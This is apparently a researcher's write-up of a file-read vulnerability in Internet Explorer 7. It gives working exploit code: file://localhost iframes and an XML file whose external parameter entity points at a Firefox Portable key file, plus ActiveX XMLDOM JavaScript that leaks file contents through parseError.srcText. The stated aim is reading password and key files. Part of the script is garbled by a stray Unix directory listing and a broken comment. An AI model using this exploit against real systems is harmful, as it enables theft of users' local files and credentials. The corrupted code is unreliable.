MSIE7 Remote File Read Access.
Publicated on :
1204677669
I finally got a working vector that can read local files in MSIE7. In MSIE6 the file:/// scheme could be used in HTML objects like images and iframes to locate files. Microsoft has limited file access a great deal in their new browser, and so it was very hard to come up with a new vector that bypasses it. First I needed to see what they have changed in MSIE7. It turns out to my amazement that they made an important change or should I say design error? Browsing relative paths like the C directory through the file:/// scheme was stripped from the browser and the file:/// scheme now passes to the shell in a popup and no longer in the browser itself, and replaced with absolute paths. Somehow I felt that can be abused, and I progressively began to look on how to exploit that. My initial idea was to confuse MSIE7 to trick it to make xmlhttp requests in a trusted zone like a popup for instance and parse a remote .hta file that grants proper permission, that obviously failed because it's very tightly secured. But, I didn't stop there because I believe that anything is possible. Most of the time it's just a matter of creativity and a design mistake by Microsoft to come up with something that does work.
Examining the shell directory
This lands inside the C directory if it is called through a script instance:
file://localhost/
But of course this will work too:
file://
Notice the two slashes instead of the three slashes it used to be:
file:///C:
The new file scheme makes it possible to locate about any file in this manner:
<script type="text/javascript" src="file://localhost/test.js"></script>
<iframe id="local3" src="file://localhost/FirefoxPortable/Data/profile/cookies.txt"></iframe>
<iframe id="local4" src="file://localhost/test.txt"></iframe>
While that might be nice to locate files, it isn't very useful because you can't access the iframe nor the script source to actually do something interesting. I knew about old issues regarding XML files. So, in the light of the DTD issues in Firefox, I began to investigate MSIE7 in order to trick it to read local files.
How to exploit it
It is possible to access the complete file system with Javascript and XML. The vector below triggers a deliberate XML error and echoes the first line of the file that triggered the error by referencing the DTD file source to the %name; entity. Notice the percent sign instead of the normal way of declaring it: &name; because of this, the error message contains the source from the file we include through the external DTD system. Next we trick MSIE7 in locating the file and include it, just like we did in the iframe and script source above. Now, we have an XML file that has a DTD that doesn't work and triggers errors because of it which gives us the opportunity to parse the information rich error messages.
So, in order to read the error message -which is a part of the remote file- we load the XML file with Javascript and read the error message that was triggered through the XML object parseError.srcText. This gives us the first bytes of the remote file. Just enough to read password files, key files, boot files or any kind of file. For the example we read the key file in Firefox portable that I installed for this demonstration. We can access the key files, include it, parse it and show the result on the screen. It isn't limited to this particular file, in theory we can read out any file we please.
When correctly performed it shows us the Firefox portable client key in something like this manner:
clientkey:11:hZXDsSHISDFkSY8n4i7wrlewVw==
below the source files to experiment with.
XML file: MSIE7.xml
<?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
<!DOCTYPE show [
<!ENTITY % name SYSTEM "file://localhost/FirefoxPortable/Data/profile/kf.txt">
%name;
]>
<show>
%name;
</show>
Javascript file: MSIE7.html
<script language="JavaScript">
// load new XML document.
var xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
function XML(file,list) {
/bin /boot /dev /etc /home /initrd /lib /lib64 /locations.diff /lost+found /media /mnt /opt /proc /root /sbin /selinux /srv /sys /tmp /usr /var
Available error messages:
------------------------
:: parseError.errorCode
:: parseError.reason
:: parseError.line
:: parseError.linePos
:: parseError.srcText
------------------------
*/
xmlDoc.async="false";
xmlDoc.validateOnParse = "true";
xmlDoc.onreadystatechange=chk;
xmlDoc.load(file);
if(list) {
listXML(xmlDoc.documentElement)
} else {
document.write(xmlDoc.parseError.srcText);
}
}
function chk() {
return (xmlDoc.readyState!=4) ? false:true;
}
function listXML(xmlsrc) {
// for valid DTD files, list the complete tree
if(xmlsrc.hasChildNodes()) {
document.write('<ul><li>');
document.write(xmlsrc.tagName +' => ');
for(i = 0; i < xmlsrc.childNodes.length; ++i) {
// recursive walk
listXML(xmlsrc.childNodes(i));
}
document.write('</li></ul>');
} else {
document.write(xmlsrc.text);
}
}
XML("MSIE7.xml");
</script>